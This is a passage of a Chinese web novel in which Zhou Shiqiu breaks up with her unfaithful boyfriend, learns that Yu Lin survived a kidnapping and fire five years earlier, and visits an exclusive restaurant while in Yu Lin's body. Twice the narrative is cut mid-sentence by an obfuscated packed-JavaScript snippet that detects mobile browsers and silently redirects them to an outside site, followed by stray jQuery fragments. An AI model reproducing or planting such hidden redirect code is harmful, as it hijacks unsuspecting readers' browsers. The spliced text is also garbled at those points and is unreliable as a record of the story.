对庾林穷追猛打,而是扭头问郑常新:“所以,那人跟你什么关系?” 郑常新脸上闪过一丝尴尬,随即高声斥责:“周拾秋,你听听你在说什么,你现在是在怀疑我吗?你宁愿相信外人,也不相信我?” “有这个人吗?”周拾秋平静地换了个问题。 郑常新依旧不承认:“都是谣言,没有的事!那就是个客户而已,我对你一心一意,你难道不知道吗?我是什么样的人,难道你不清楚吗?” “嗯,不清楚。”周拾秋坚定地摇了摇头。 这一次,她没有说谎。 谁知她一句话彻底激怒了郑常新,他仿佛受到了莫大侮辱,气急败坏地嚷道:“周拾秋,你是为了跟我分手找借口吧?好样的,我还真当你是什么小白兔,哈哈哈,甩我?告诉你,是我要甩了你!” 齐绮一听来了火气,气势汹汹地回怼道:“说什么呢?郑常新,你是不是忘吃药了?” “周拾秋,我告诉你,就是你这不冷不热的态度让我受不了,你真当我是男朋友吗?如果不是你不把我当回事,我怎么可能受别人诱惑?” 郑常新立马换了副面孔,理直气壮地叫嚣。 他这话把周拾秋气笑了,边鼓掌边感叹:“出轨真是委屈你了。” “行,就当是我的错,我错就错在把惩罚当真。周拾秋,你别太把自己当回事,我不过是看你有几分姿色,打算跟你玩玩而已。要不是因为游戏输了的惩罚,我怎么可能找上你?” 郑常新张狂地大笑,似乎只有这样才能强行挽尊,才能弥补自己受到的耻辱。 “哦。” 周拾秋想了又想,实在想不出自己该如何回应,最后只从嘴里发出一个平淡无味的音。 这一个字却犹如一把锋利的刀,将郑常新紧绷的那根弦一刀两断。 郑常新整个人变得尖锐,再也顾不上风度,对着周拾秋就是一顿痛斥:“你就没别的想说了?周拾秋,你是不是有毛病?你真的喜欢过我吗?” 偏偏这话刺中了周拾秋要害,她一时无力反驳,似乎确实是她的问题,她没法回答“喜欢”。 “嘿,你还有理了,你自己怀着什么心思,心里没点B数?还好意思要求别人?哇,我的天,怎么有你这么厚颜无耻的人!” 齐绮怒不可遏,起身就想赶客。 “怎么不说说你这位朋友,谁知道她背着我是不是与别人不清不楚,所以才跟我提分手,现在还要反咬一口,有错在先的可不一定是我。”郑常新指着周拾秋继续叫嚣,试图将过错全塞给周拾秋。 周拾秋受够了他的狗屁逻辑,正要起身,然而身旁的庾林已经早她一步冲向了郑常新。 一拳结结实实落在郑常新脸上,那股力道将郑常新击倒在地,恼怒与震惊浮现,他捂着鼻子从地上支起身子。 “你又是什么东西,敢对我动手?是不是活腻了?” 郑常新叫嚷着,想要起身反击,可正对上庾林阴冷的眼神,不等他反应,就被庾林拎着后衣领拖往楼梯口。 一路上,无论郑常新如何威胁,如何挣扎,都摆脱不了庾林的压制,就这么被拖拉着,扔出了花店大门。 郑常新狼狈地摔倒在地,听到庾林声音低沉的威胁:“识相点,有多远滚多远,别让我再看见你,否则,你与那女人的关系,会变得人尽皆知。” “你……” 郑常新怒目而视,可心中有所顾忌,当真担心起秘密被曝光,他与女人的关系并不能透明,“给我等着,我早晚让她后悔,到时候别来哭着求我!” 最后的嘴硬并没让郑常新留□□面,他狼狈逃走的样子,给周拾秋留下了深刻的印象。 对于郑常新最后的威胁,她根本不放在眼里,隔着玻璃门看着逐渐消失的背影,内心也无一丝波动。 就像是一个无关紧要的路人,从此走出她的世界,不痛不痒,甚至没留下什么痕迹。 此刻她更在意的是庾林为何会知道这些事,这些连她这个女朋友都不知道的事。 39. 第039章 “好了,帮你解决了,你的麻烦,不用谢。” 等到郑常新跑得彻底没了影儿,庾林才转头对周拾秋说道。 “呵,我们或许对麻烦的定义不一致,谢谢你,成功让我恢复单身。”周拾秋眯着眼,阴阳怪气地回应。 “怎么?觉得可惜?” 庾林双手抱臂,上下打量着周拾秋,语气有些傲慢。 周拾秋靠在玻璃门上,心里只想着她疑惑的事,对于庾林的提问有些心不在焉,不答反问:“你觉得我该可惜吗?” “不觉得,乌鸦小姐看人的眼光是真的不行。”庾林毫不留情地讽刺。 周拾秋笑道:“哦?那我应该看上什么样的人,才能算有眼光?看上你吗?” 庾林微微一怔,对她的玩笑话有些敏感,无视了她的问话,转移了话题:“你怎么会看上这种人?禁仿区这么缺男人?” 周拾秋对此付之一笑,半真半假地回答:“谁知道呢?也许因为他是第一个送我花的男生吧。” “就这?” “就这。” “……以后长点心吧!”庾林哭笑不得地奉劝着。 周拾秋口风一转,问:“你怎么知道他出轨?” 庾林轻描淡写地答道:“男人的直觉。” “放屁。” 周拾秋怎么可能相信他的鬼话,光靠直觉能把细节说得以假乱真?最终让郑常新顶不住压力自曝?就是用脚趾头想,周拾秋也觉得不可能。 庾林无奈一笑:“那聪明的乌鸦小姐觉得为什么?” 周拾秋凑到他面前,左顾右盼,小心翼翼用手挡住嘴,悄声说道:“你是不是有异能。” 下一秒,庾林用指节敲了敲周拾秋的额头,看对方捂着额头,露出委屈的表情,忍不住嘲笑道:“傻子,别忘了是谁帮你拿下检测证明。” “知道啦,啰嗦,我合理怀疑一下都不行吗?”周拾秋不满地撅起嘴,“那你到底如何办到的?” “我能通过观察,猜出对方在想什么,商人的本能。”庾林胡诌道。 “真的假的?光靠观察,就能超越进化者?我不信。”周拾秋脸上写满质疑,“那你看看我在想什么?” 庾林作势观察起周拾秋,从头看到脚,边看边摇头,最后装模作样地说:“我看你的假期就剩半天了,不如好好想想怎么利用好,明天见,乌鸦小姐。” 说完这句话,庾林转身就走,背对周拾秋挥了挥手,根本不理会周拾秋在身后的骂骂咧咧。 周拾秋最终也没能弄明白庾林究竟有什么不为人知的能力。 钞能力? 就算他动用人脉调查了有过一面之缘的郑常新,可是理由呢? 就为了报复她?让她与男友分手? 有必要吗?至少周拾秋觉得不痛不痒。 带着理不清头绪的疑问,周拾秋回到楼上。此时齐绮已经将客厅打扫干净,见她上楼,出声安慰:“没事吧?没想到郑常新是这种人,你还好吧?” “嗯?我怎么了?”周拾秋一脸不解。 齐绮有些无语,神情疲倦地瘫坐在沙发上,手掌在身边拍了拍,示意周拾秋坐过去,嘴里忍不住揶揄:“呵呵,是我高估你了……这么看来,我没判断错呀,你对郑常新根本就没感情。” 周拾秋一头雾水,坐到齐绮身边,随意抓了个抱枕抱在怀里,疑惑地看着齐绮,问:“怎么这么说?” “真的一点都不难过吗?遇上这样一个混蛋。”齐绮再三确认。 “所以,我应该难过吗?” 在齐绮面前,周拾秋懒得伪装。 许多电影告诉她,分手应该是一种不舍却不得不割舍的痛,或是心灰意冷的渐行渐远,又或是背叛的不甘与愤怒。 按理说,她应该跟别人一样,痛哭流涕,借酒浇愁,咒骂对方,这会让她看上去跟普通人一样。可当她听到郑常新那些破事时,内心甚至没有一丝波澜,就好像在听一个与自己无关的故事。 她只是呆呆地望着齐绮,试图从齐绮眼中寻找正确的反应。 齐绮看出她眼里的茫然,揉了揉她的头,一脸轻松地回答:“有啥好在意,是郑常新有问题,我们十秋又不是恋爱脑,对吧?” 仿佛得到了认可,周拾秋心里涌上一丝暖意,她点头附和:“对,就是,我有啥好难过,我又不是恋爱脑。” 两人相视一笑,笑得没心没肺。 笑过以后,齐绮立马变了脸,用力揪着周拾秋的耳朵警告:“以后你再敢留下封信不告而别,我绝不会再原谅你,你知不知道我看到信时有多崩溃?信上的鬼话你觉得我能信?你知道我打电话听你说在进研所时,我是什么感觉吗?” “唉哟,疼,疼,疼……”周拾秋顺着齐绮用力的方向,将脑袋偏向一边,嘴上求饶,“对不起,我错了,以后不敢了,我这不是以为自己回不来了嘛……” 齐绮心头虽然不解气,可还是松了手,盛气凌人地要求一个解释。 于是周拾秋一五一十地将所有事告诉了齐绮,包括庾林与自己互换身体,以及最近出现的怪象都是拜庾林所赐。 桩桩件件都脱离了常识,齐绮听得呆若木鸡。 将一切串联到一起后,齐绮不得不庆幸,这种巧合意外救下了周拾秋,否则她现在估计还沉浸在失去朋友的痛苦中,并苦恼着要如何让周拾秋的父母接受现实。 见齐绮不再生自己的气,周拾秋小声询问:“那,游乐园还去吗?” 齐绮看了一眼墙上时钟,洒脱地回答:“去啊,干嘛不去,票都买了,怎么能浪费?不过好像多了一张……” 手机里还有三张游乐园的电子门票,在庾林的“热心帮助”下,原本第三张门票的所有人彻底下线,周拾秋看着多出来的那张票若有所思。 忽然她想到了什么,欣喜地抬起头,问齐绮:“我可以叫个朋友来吗?” “你哪儿还有朋友?”齐绮忍不住调侃。 周拾秋故作神秘:“嘿嘿,等会儿你就知道了。” 临近午时,重新集结的三人小队出现在游乐园门外,除了周拾秋和齐绮,还多了一个何洲。 这是齐绮和何洲第一次线下见面,虽然他们彼此知道对方的存在,而这个媒介正是周拾秋。 不过以前何洲对周拾秋的身份认知有误,认为周拾秋是男生,而时常挂在周拾秋嘴里的室友齐绮,自然让何洲误以为是周 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不甘心的周拾秋立马发起第二轮进攻,强烈要求以聚餐来结束朋友的第一次会面。 何洲欣然同意,并主动做东,将周拾秋和齐绮请到了自由区一间别具格调的创意餐厅。 为了避免不必要的麻烦,何洲还让二人换上理想者的装扮,出于迁就,二人虽不情愿,还是照做了。 预定的包间是自然主题,房间里种满稀有花草,而餐桌形似奇形怪状的枯树,座椅则是依附枯树生长的巨型真菌。 四周是全息投影,一缕缕阳光穿过云层,再从树叶的缝隙中洒落,柔和地照亮了整个空间,偶尔响起几声鸟鸣,让人仿佛置身自然之中。 周拾秋和齐绮对着环境很满意,正夸奖着何洲的用心,一位年轻女服务员敲门进入包间,看见何洲惊呼了一声:“小何?” 何洲仿佛听到了指令的小狗,摇着尾巴站起身,表情羞涩地回应: “呵,清悦学姐,真巧,没想到会在这里遇到你。” 那个叫清悦的女孩嫣然一笑,半开玩笑地说:“那里巧了,我不是说过晚上都在这里兼职吗?我还以为你专程过来捧场呢。” 何洲口是心非道:“哪有,我都没注意你说的兼职餐厅是这里,这不巧了嘛,我是这家餐厅的常客。” “是吗?我怎么都没见过你?”清悦娇声质疑。 “你不最近才开始兼职嘛,我最近刚好没来而已。”何洲辩解。 清悦不与他争论,笑着看向屋里的另外两位客人,柔声问道:“这两位是你的朋友?” “不。”何洲想也没想赶紧撇清,然后便撞上周拾秋与齐绮不善的眼神,赶紧改口道,“啊,我意思是,这两位是我姐姐,亲姐!” “哦。”清悦客气地冲周拾秋和齐绮点头致意,然后甜甜地笑道,“既然这样,我待会儿送两份这里的招牌菜。点餐请在电子菜单上操作,如果有事,也可以通过桌边呼叫铃叫我,祝你们用餐愉快。” 说完,清悦礼貌地退出了房间,顺便带走了何洲的魂。 这时,周拾秋和齐绮才总算明白,何洲做的到底是什么东。 40. 第040章 在周拾秋和齐绮的严刑逼供下,何洲才终于老实交代。 清悦是何洲同系学姐,高两届,最近在这家餐厅做兼职服务生,体验生活。清悦偶然帮了何洲一个小忙,何洲便对她一见倾心,因此,这位学姐成了何洲新的追求目标。 “上次那女孩又分了?” 周拾秋忍不住翻着白眼,距离她上次完成何洲的委托,也就过去了一个多月。 齐绮摇头叹气,一脸无奈,嘴上不忘讽刺:“散财童子,这次又什么理由分手啊?” 何洲不敢隐瞒:“她说我好像变了一个人,觉得我很陌生。” 周拾秋和齐绮憋笑憋得脸都红了,这理由丝毫不让她们意外,毕竟追求女生的人本就不是何洲,自然很陌生。 “想让我们帮忙?” 周拾秋有种生意送上门的感觉,双手叠放在餐桌上,身子微微前倾,摆出洗耳恭听的姿态。 何洲坐立不安地往屋外瞧,脸上写着“走投无路”四个字,压低声音坦言道:“唉,我妈最近受小舅舅撺掇,故意扣我零花钱,搞得我没法上危管局发布委托任务,愁死我了。” 虽说庾双这操作算是断了周拾秋的财路,但周拾秋不得不赞同庾双。 她一直觉得何洲长此以往,早晚会成为异性公敌,被拉入黑名单,永无翻身之日。于是她拍着何洲的肩,一脸仗义地说道:“是时候传授你为师的绝学了!” 何洲欣喜若狂,双手抱拳,对着周拾秋一拜,“还请师父赐教!” 周拾秋正襟危坐,故作高深,“首先你得弄清自己的核心竞争力,大声说出你的优势是什么?” 在周拾秋和齐绮期待的眼神中,何洲自信满满地说出三个字:“长得帅。” “错!”周拾秋脱口而出,“是有钱。” “我去,那完了,我都被经济制裁了,还怎么竞争?”何洲趴在桌子上,浑身散发着沮丧与哀怨。 齐绮向上推了推眼镜,以一种经验老手的姿态安慰:“钱与外貌不过是身外之物,真诚才是必杀技。” 何洲立马来了兴致,抬起头,用充满期待的眼神注视着齐绮。 “怎么个真诚法?” 周拾秋敲了敲桌面,吸引了何洲的注意,脸上带着高深莫测的笑,掰着指头,铿锵有力地说道:“投其所好。” 何洲努力思考着这四个字,“送她喜欢的东西?” “肤浅。”周拾秋厉声呵斥。 何洲不解地问:“那是什么?” 齐绮已经看穿了周拾秋的心思,忍俊不禁,贴心为何洲解惑:“她呀,就是让你当舔狗,她之前帮你追女孩子时都是这么干的,什么嘘寒问暖、频繁送礼、言听计从、花式夸赞、英雄救美……” 听着齐绮曝光着周拾秋的过往操作,如同细数着罪状一般,何洲心中五味杂陈,一时难以消化,苦涩道:“这……跟我的性格差太远了……” 周拾秋煞有介事地为他分析道:“你可不是一条普通的舔狗,而是有钱又有颜的究极舔狗,就问还有谁能与你竞争?” “……”何洲感觉那些话不像在夸自己,可细细琢磨又觉得周拾秋说的有几分道理,不由得产生一丝动摇,问,“那我该做些什么?” 齐绮默不作声,安静地等着看周拾秋表演。 周拾秋见扔出的鱼饵引来的大鱼,准备收杆,“先要弄清对方的需求,然后对症下药,没问题吧?” 何洲似懂非懂地点点头,“嗯,所以我要如何弄清?生问吗?” “当然不能由你去打听,那样没有任何惊喜。”周拾秋眼珠滴溜一转,心中有了自己的算计,“我可以帮你旁敲侧击弄清她的需求,但你是不是该拿出点诚意?” “懂!”何洲一拍桌子,爽快回应,“我有多少零花钱都全部给你,够诚意不?” 周拾秋摇了摇手指,露出奸商的笑,同何洲打着商量:“兄弟之间,谈钱伤感情,我帮你打听消息,你告诉我想知道的情报,平等互换,如何?” 何洲一听还有这种好事,当即点头同意,并展现出一副慷慨的模样,让周拾秋随便问。 终于抓住时机,周拾秋不再掩饰,直截了当询问起有关庾林的案子。 这个问题,何洲始料不及,他自己并不存在什么秘密,所以根本不怕问,没想到周拾秋要问的是庾林的事。 原本一脸豪爽的何洲,霎时间畏缩了,表情纠结,满心犹豫。 当何洲陷入为难之时,齐绮面露担忧,她悄悄拉了拉周拾秋的衣服,转头耳语:“你怎么又打听起庾先生的隐私?庾先生不是才帮了你吗?你们矛盾还没解除?还是说,你是因为郑常新的事才……” 周拾秋看出齐绮的担心,在齐绮看来,她与庾林从认识第一天起就不对付,多少有些怀恨在心,因此,打听情报想要报复庾林,也在情理之中。 对于齐绮的怀疑,周拾秋很是无奈。 在这间屋子里,三人各自掌握的信息有差异。 何洲手握着庾林的秘密和过往,却不知道周拾秋的真实身份,以及周拾秋实际知晓庾林的心病,并且还对心病免疫这件事。 齐绮精准地掌握着有关周拾秋的一切,但不知道庾林的秘密。 所以,何洲担心庾林的秘密外泄,齐绮则因为周拾秋的身份,时刻提防着周拾秋做出过激的行为。 周拾秋一时有些解释不清,为了让场上二人安心,她只能透露部分信息。 “哎呀,只是今早完成庾林委托时,我刚好听见施煦提起庾林曾经遇上的案子,还说那案子恰好与夜白鹭有关。” 齐绮听到“夜白鹭”三个字,紧张地瞥了一眼周拾秋,对于周拾秋关心庾林案件的缘由有了清晰的认知,然后不动声色地看向何洲,不再怀疑周拾秋别有用心。 何洲仔细琢磨着周拾秋的话,随即提出了自己的疑问:“你害怕夜白鹭与小舅舅有瓜葛?” 多亏了何洲企业级理解,周拾秋顿时松了一口气,顺着何洲的话编下去:“昂,如果你舅舅真的被夜白鹭盯上,我这个危代人恐怕会倒霉,呵呵……” 何洲挠着头,认真思考了片刻,低声呢喃:“当初小舅舅与夜白鹭之间到底发生了什么,除了他自己,谁也不知道啊……不过我感觉应该是没什么瓜葛吧。” “所以你舅舅真见过夜白鹭?”周拾秋心头一紧,“什么时候的事?” “其实那案子也没什么不可以说,如果你们当时看过新闻,都应该有印象才对。”何洲似乎终于放下了心中大石,轻松地说出了那些不是秘密的事情,“五年前广臾集团继承人绑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807253|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架案。” “绑架案?”周拾秋心里咯噔一下。 同样是绑架案? 夜白鹭参与的绑架案不是只有一件吗? “啊,是是是……对……就是那个案子。”齐绮一跃而起,因为过于激动,说话有些颠三倒四,见周拾秋没反应过来,急得直跺脚,敲着周拾秋的肩膀提醒道,“夜白鹭不就是在这个案件中曝光的吗?” 周拾秋恍然大悟,她只记得绑架案,却从未留意过人质的身份。 也就是说,庾林就是当初她打算救的那名人质。 “我就说你们都该知道才对。”何洲打开了话匣子,神神秘秘地对二人说道,“当时这事闹得挺大,两名绑匪最后死在了大火里,被绑架的除了小舅舅,还有张医生的母亲。” “你是说想要杀庾先生的那个张医生?”齐绮一脸震惊。 何洲表情难过地点了点头,“张婶是庾家的保姆,在庾家工作了二十多年,看着小舅舅长大,跟小舅舅关系很亲,所以张婶的死对小舅舅打击挺大。” 齐绮说:“难怪张医生对庾先生怀恨在心了,估计是把母亲的死,算到了庾先生头上。” L458年7月14日,张婶陪庾林的母亲去了庾林独居的公寓,看望因工作不常回家的庾林。 也就是这一天,外出的张嫂和庾林,在回家的途中遭遇了绑架。 绑匪将二人绑到了城外一处废弃的旧楼里,结果半夜一场大火,将绑匪和人质全员烧死。 第二天,关于这起案子的新闻铺天盖地,震惊了这个凌沪市。 只是外界并不知,这场火灾有幸存者,那便是庾家少爷——庾林。 “当时也是巧了,进研所正配合警方调查别的案子,也跟着去了案发现场,然后就发现了进化者的痕迹。” 何洲说得津津有味,周拾秋听得面无血色。 也正是因为这个巧合,进研所才会顺着危代人这条线查到夜白鹭头上。 当时警方将该案件定性为进化者的屠杀事件,对于绑架案却没再调查下去,一是庾林的父亲并不打算追究,二是希望隐瞒庾林存活的消息。 至于庾林父亲为何这么做,据说是担心庾林被进化者盯上,为了保护庾林,便对外宣称庾林在绑架案中丧生。 于是就有了庾家少爷死于一场大火,后来又打破谣言重生的传言。 何洲洒脱地讲完他知晓的整个故事,顿时一身轻松,再三提醒周拾秋记得兑现约定后,便与齐绮商讨起菜单。 周拾秋只是随口应了一声,心思早就不知飞到哪儿去了。 脑海中已经模糊的脸,这一刻变得清晰无比,可周拾秋不知是喜是悲,复杂的情绪交织在一起,搅得大脑一片混乱。 庾林就是五年前那个人。 那人没有死。 可那人不死,也就意味着那人并没有对她动心。 这感觉似乎比那人死了好不到哪儿去。 而且,她怎么会连续两次栽在同一个人手里呢? 周拾秋越想越觉得颜面扫地,伏在桌上无声地呐喊,拳头狠狠捶着桌子。 等到激动的情绪逐渐冷却,周拾秋忽然意识到另一个问题。 张医生的母亲,正是五年前与她签订私危协议的委托人。 41. 第041章 五年前的绑架案,杀掉那两个绑匪的人是张婶,那场火也是张婶的手笔,庾林明明知道一切,却任由夜白鹭成为替罪羔羊。 知情人全死了,警方的推论有误,周拾秋一直以为情况如此,只能自认倒霉,然而事实并非如此。 庾林活着,却不向警方澄清,性质就完全变了。 就算夜白鹭被进研所通缉的事无法改变,可她本可以挽回名声,只作为进化者逃亡,而不是罪犯。 偏偏庾林隐瞒了夜白鹭救他的事。 为什么? 为了包庇张婶? 是了,他与张婶关系很好,所以宁愿相信是进化者作恶,也不愿张婶死后还要背负杀人的罪名。 复杂的情绪慢慢被恨意取代,五年前那场火又一次在心中燃起,焚烧着周拾秋的理智。 直到一旁的齐绮注意到她的不对劲,拍着她的肩膀将她的思绪拉回这场聚会。 齐绮询问她出了什么事,她没有如实回答,而是敷衍着说想起了以前的事唏嘘不已,然后齐绮便给了她一个拥抱,试图安抚她受伤的心。 关于夜白鹭的身份,周拾秋没有隐瞒齐绮,但关于那晚的真相,她没有告诉齐绮太多,只是让齐绮相信她没有杀人,当时她进入委托人身体时,在场的人已经死了。 她将那个委托,包装成了委托人濒死前的紧急任务,无力回天。 她不希望齐绮深入其中,害怕知道太多会给齐绮招致麻烦。 这晚聚会,周拾秋按照约定,帮何洲打听了清悦的喜好需求。 她以何洲姐姐的身份,借着召唤餐厅服务生的便利,跟清悦拉近关系,并打听了不少事。 比如清悦之所以在这家创意餐厅兼职,是为了论文搜集数据,她研究的方向是经营。 “我当初的首选是皆来食,可惜那里只用仿生人,并没同意我兼职。” 从清悦说话时的神情,周拾秋看出了清悦心中的遗憾,她似乎对那家叫“皆来食”的餐厅兴趣浓厚。 周拾秋决定在这一点上深挖下去,于是继续旁敲侧击:“皆来食?名字挺普通啊,有什么特别之处吗?” 清悦很会照顾客人情绪,也乐于解答客人的疑惑,全程并没有怀疑周拾秋目的不纯,只当是与客人的闲聊。 可当周拾秋问出这个问题时,清悦的表情明显有些微妙。 “姐姐没听说过皆来食?”清悦小心翼翼地反问。 霎时间,周拾秋意识到,这个名字或许又是理想者的共识,于是她只能硬着头皮,再次胡诌道:“哦,我久居外地,最近刚回凌沪市,对于当下流行什么,好像有点脱节了,妹妹别笑话我啊。” 此话一出,清悦脸上疑惑的神情终于消散,周拾秋暗地里松了一口气。 清悦带着歉意安慰:“原来是这样啊,是我失礼了,姐姐别介意。皆来食也是以创意菜闻名,常年位居凌沪市自由区必吃榜榜首,很少有人不知道这家店的名气。” “是么?那我改天得去试试才行。”周拾秋顺势道。 “哎,想在那家店吃顿饭不太容易,哪天开店、招待几桌客人、安排什么菜品等全凭店主心情,不能预约,能不能吃上全看运气。不瞒你说,我扑空了二十多次,本想借着兼职的机会见识一下,结果……”清悦说着苦笑起来。 听清悦说得这么玄乎,周拾秋不免对这家店产生了好奇心。 等到用餐完毕,三人离开餐厅,周拾秋才将打听到的消息告诉了何洲。 何洲听完,皱起眉头,挠破脑袋也想不出应对之法,沮丧的气息随着抱怨声溢出。 “这下麻烦了,那个店主油盐不进,我以前想花钱都买不到名额。” “什么店啊,这么夸张?”齐绮一脸不可置信。 周拾秋的感觉也差不多,不过是个吃饭的地儿,做生意还如此随性,实在匪夷所思,不由得对这家店更加好奇了。 “如果我能帮你搞到用餐名额,你要如何谢我?”周拾秋眼底藏匿着市侩的笑意。 何洲不信,“真的假的?你先别吹牛,等你真见过那店主,估计就说不出这种大话了。” 周拾秋回答:“你等我消息呗,如果成了,你讨好清悦时,得带上我跟绮绮;如果不成,我再帮你找别的路。” 何洲想了想,不管成不成,自己都不亏,同时也想看周拾秋受挫,便爽快应下了。 在返回禁仿区的路上,齐绮显得有些担忧,一脸严肃地告诫周拾秋:“你不会打算动用异能帮何洲吧?” 周拾秋浑身一僵,露出尴尬的笑容,心虚否认:“怎么会呢?哈哈,我就去见识一下自由区的奇特物种。” “不管你打算做什么,你别忘了你刚从进研所手上脱险,贸然动用异能,当心再被盯上。”齐绮不管周拾秋嘴里说没说实话,只是低声警告,希望能让周拾秋老实些。 周拾秋乖巧地点了点头,暂时打消了冒险的想法,无奈地思考起别的出路。 这天夜里,周拾秋走进一间光怪陆离的餐厅,里面的服务生全是仿生人,螺旋状的虹膜散发着淡蓝色的光泽。 空旷的房间里只摆放着一张餐桌,一把椅子,仅有周拾秋一人坐在里面,耀眼的阳光从落地窗射入屋内,正好照在周拾秋身上,却没有一丝温度。 一道道创意菜被仿生人服务生端上了桌,可每道菜都血肉模糊,扭曲成怪异的造型,仿佛在向她传达着什么晦涩难懂的讯息。 周拾秋根本没有心思琢磨,即使没有味道,可视觉的冲击令她几欲作呕。 恍惚间,一股清新的香味一点点扩散开来,那是一种很淡的木质香味,梦中场景骤然切换,餐厅消失,她独自一人走进了森林中。 林中阳光明媚,穿过枝叶缝隙洒在松软的土地上,让阴冷的森林笼罩上一层暖意,自然的清新与阳光的味道围绕在周拾秋身旁。 耳边响起沙沙声,那是一阵风吹入林中,远处混入潺潺流水声,还有清脆的鸟鸣若隐若现,如同一曲交响乐,令人心旷神怡。 可没一会儿,她似乎听到一些急促紧张的音效声,眼前的景色骤变。 太阳被乌云遮掩,林中的风变得阴冷,万物凋零,犹如死神降临,死寂笼罩了一切,树林深处似乎有什么东西蠢蠢欲动。 渐渐地,意识从朦胧中转醒,周拾秋听见一阵节奏愈发紧张的音乐,眼前有光亮闪动。 她缓缓睁开眼,循着声音望去,只见一张双眼空洞的鬼脸陡然出现在眼前。 “啊——啊——” 两声刺破耳膜的尖叫声混在一起响彻房间。 一声来自对面墙上的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811567|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏幕,一声来自正对大屏幕的病床。 大屏幕上的鬼脸一闪而过,周拾秋与电影中的主角几乎同时惊声尖叫,一个是演戏,一个是真情实感。 呼吸随着心跳变得急促,大脑因为瞬间的刺激而缺氧,浑身血液冻结了一般,手脚凉到发麻。 过了好一会儿,周拾秋才从这突如其来的惊吓中回过神来,然后意识到自己与庾林又交换了。 她此刻无比庆幸病房的隔音效果做到了极致,否则她这声尖叫还不知道会被多少人投诉。 康管家被她的尖叫声吸引,从待机充电状态转醒,正坐在墙角目不转睛地望着周拾秋,轻声问道:“是助眠香薰不好用吗?” 听了康管家的话,周拾秋才注意到床头柜上摆放着一个拳头大小的香薰蜡烛,装在透明玻璃杯中,杯子里燃着小小的火苗,清淡的木质香气正来自于此。 “不是,助眠搭配恐怖电影,庾木木到底是想睡还是不想睡?” 周拾秋找到遥控器,强制关闭了仍在播放中的电影。 康管家微微一笑,并不作答。 “什么胆子,能被吓到意识切换……” 周拾秋转身躺回床上,决定等睡醒了再向庾林发送任务完成申请,避免庾林晚上继续看恐怖电影,一受惊吓就自动触发意识切换。 这个决定让周拾秋获得安稳的一夜。 助眠香薰似乎起到点作用,周拾秋总算没再做怪梦,一觉睡到自然醒。 一大早醒来,周拾秋正想提交任务完成申请,陡然想起一个问题,低声自言自语:“借庾木木的身体去皆来食,不就省了开车赶路的时间吗?” 这一刻,周拾秋折服于自己的聪明才智,果断放下手,模仿着庾林的口气,对康管家说:“一会儿有事出门,帮我备车。” “可是你的伤……”康管家面露难色。 周拾秋摇了摇手指。 虽然庾林的心病听上去弱不禁风,但是撇开这个惨绝人寰的弱点不谈,单论体魄,庾林当是佼佼者。 周拾秋摸着庾林的腹肌向康管家保证:“就我这身体素质,现在出院都没问题。” 康管家不敢多说什么,默默给司机打了个电话。 吃完早餐,周拾秋便带着康管家离开了医院,径直前往皆来食。 皆来食距离天宫酒店并不远,开车十来分钟就能到达。 高楼林立的市区里,有一间独树一帜的独院住宅,三层复古建筑,搭配绿意盎然的庭院,让皆来食成为闹市中的异类。 院内虽幽静,可院外热闹非凡,跟周拾秋一样想要拜访皆来食店主的人还有很多,主流媒体的记者、商界大亨、士绅名流、大明星、政客……不时出现在院门外,然后吃了闭门羹,失望而归。 周拾秋独自来到院门前,只见门口站着一位年轻女服务生,扎着两条麻花辫,笑容十分可人,唯有独特的虹膜昭示着她仿生人的身份。 女服务生的手上拿着一块木板,上面用红色的油漆写着几个字: “本月不见客,勿扰!” 完犊子了! 周拾秋两眼一黑,简直想剑走偏锋,在门外大闹一场,逼店主现身。 就在她东张西望寻找着“受害者”时,女服务生冲她嫣然一笑,“小林哥,你怎么来了?” 42. 第042章 女服务生的态度在周拾秋的意料之外,一番察言观色,她基本可以断定,女服务生与庾林很熟。 “哦,闲来无事,随便逛逛,不知不觉就走到这儿来了。”周拾秋答得模棱两可。 女服务生一笑,两个浅浅的梨涡若隐若现,带着些俏皮感,“嘻嘻,来看我,还是远哥?” 远哥是谁? 周拾秋掩饰着心底的茫然与无措,故作淡定地问:“你远哥也在?” 女服务生并未起疑,掩嘴轻笑,“小林哥好多年没来,怕是忘了,远哥从不离开这个院子,不开店时,就在厨房研究新菜品。” 皆来食的厨子? 一个念头闪过脑海,周拾秋顺水推舟道:“哦,那我进去看看你远哥吧。” 女服务生将木板靠在墙边,拍了拍手,“你等等,我去告诉远哥,他如果知道你来了,一定很开心。”说完这句话,女服务生就一蹦一跳地进了院门。 原本只是想省事才借用庾林的身体,没想到还有意外收获,周拾秋喜出望外。 在门外等了几分钟,女服务生从门后探出头来,冲周拾秋招了招手,随后敞开院门,让到一旁。 周拾秋进门时,身后立马传来一阵骚动,不远处观望中的人仿佛看到了希望,纷纷涌到门口,女服务生与周拾秋错身而过,顺手关上院门。 门外,被拒之门外的造访者和女服务生的交谈声传进周拾秋耳中,有羡慕,有不解,也有抱怨…… “那人怎么进去了?” “不是我先来的吗?” “要不你也放我进去吧,再多钱我都出得起。” “我想采访吕先生,麻烦通融一下。” …… 不管那些人怎么说,女服务生都不为所动,回复他们的也永远只有一句:“吕先生本月不见客,请回。” 她甚至没有解释一句,为什么不见客的院子里放进去了一个外人。 周拾秋跟院外的众人一样懵,却又带着点受宠若惊的欣喜,远离院门,朝屋子方向走去。 